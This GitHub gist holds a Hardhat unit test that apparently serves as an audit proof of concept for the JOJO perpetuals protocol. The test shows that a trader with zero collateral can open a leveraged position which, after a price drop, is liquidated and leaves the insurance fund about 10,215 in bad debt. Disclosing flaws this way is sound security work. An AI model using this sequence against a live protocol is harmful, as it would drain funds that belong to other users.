Skip to content

Instantly share code, notes, and snippets.

@bzpassersby
Created May 10, 2023 02:13
Show Gist options
  • Save bzpassersby/526f361b26768b7dae80da747b7ce27a to your computer and use it in GitHub Desktop.
Save bzpassersby/526f361b26768b7dae80da747b7ce27a to your computer and use it in GitHub Desktop.
Even with 0 collateral deposits, user can take on trades and protocol will acquire bad debts
////Even with 0 collateral deposits, user can take on trades and protocol will acquire bad debts
////This test is in the context of JOJO unit test file -liquidation-test.ts-"check position"
it("free riding position liquidatable", async () => {
////note: test preparation to ensure trader1 has zero deposits to begin the trade
await context.dealer
.connect(trader1)
.requestWithdraw(utils.parseEther("5000"), utils.parseEther("5000"));
await timeJump(100);
await context.dealer
.connect(trader1)
.executeWithdraw(trader1.address, false);
////note: verify trader1 has zero deposits
await checkCredit(context, trader1.address, "0", "0");
////note: price improved to trader1's favor at the point of order fill
await context.priceSourceList[0].setMarkPrice(utils.parseEther("31000"));
////note: open position and trade
await openPosition(
trader1,
trader2,
"1",
"30000",
context.perpList[0],
orderEnv
);
////note: trader1 is in good standing after trade with 0 collateral tokens
expect(await context.dealer.isSafe(trader2.address)).to.be.true;
expect(await context.dealer.isSafe(trader1.address)).to.be.true;
await checkCredit(context, trader1.address, "0", "0");
await checkBalance(context.perpList[0], trader1.address, "1", "-30015");
await context.priceSourceList[0].setMarkPrice(utils.parseEther("20000"));
////note: trader1 is liquidatable after price change
expect(await context.dealer.isSafe(trader1.address)).to.be.false;
expect(await context.dealer.isSafe(trader2.address)).to.be.true;
const liquidatorChange = await context.dealer.getLiquidationCost(
perp0.address,
trader1.address,
utils.parseEther("1")
);
expect(liquidatorChange.liqtorPaperChange).to.be.equal(
utils.parseEther("1")
);
expect(liquidatorChange.liqtorCreditChange).to.be.equal(
utils.parseEther("-19800")
);
await checkCredit(context, insurance, "0", "0");
await perp0
.connect(liquidator)
.liquidate(
liquidator.address,
trader1.address,
utils.parseEther("1"),
utils.parseEther("-20000")
);
await checkBalance(perp0, liquidator.address, "1", "-19800");
await checkBalance(perp0, trader1.address, "0", "0");
await checkCredit(context, insurance, "-10215.00", "0");
////!!!: insurance accrued by bad debts and insurance fee is not able to cover bad debts
await checkCredit(context, liquidator.address, "0", "5000");
await checkCredit(context, trader1.address, "0", "0");
expect(await context.dealer.isSafe(trader1.address)).to.be.true;
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment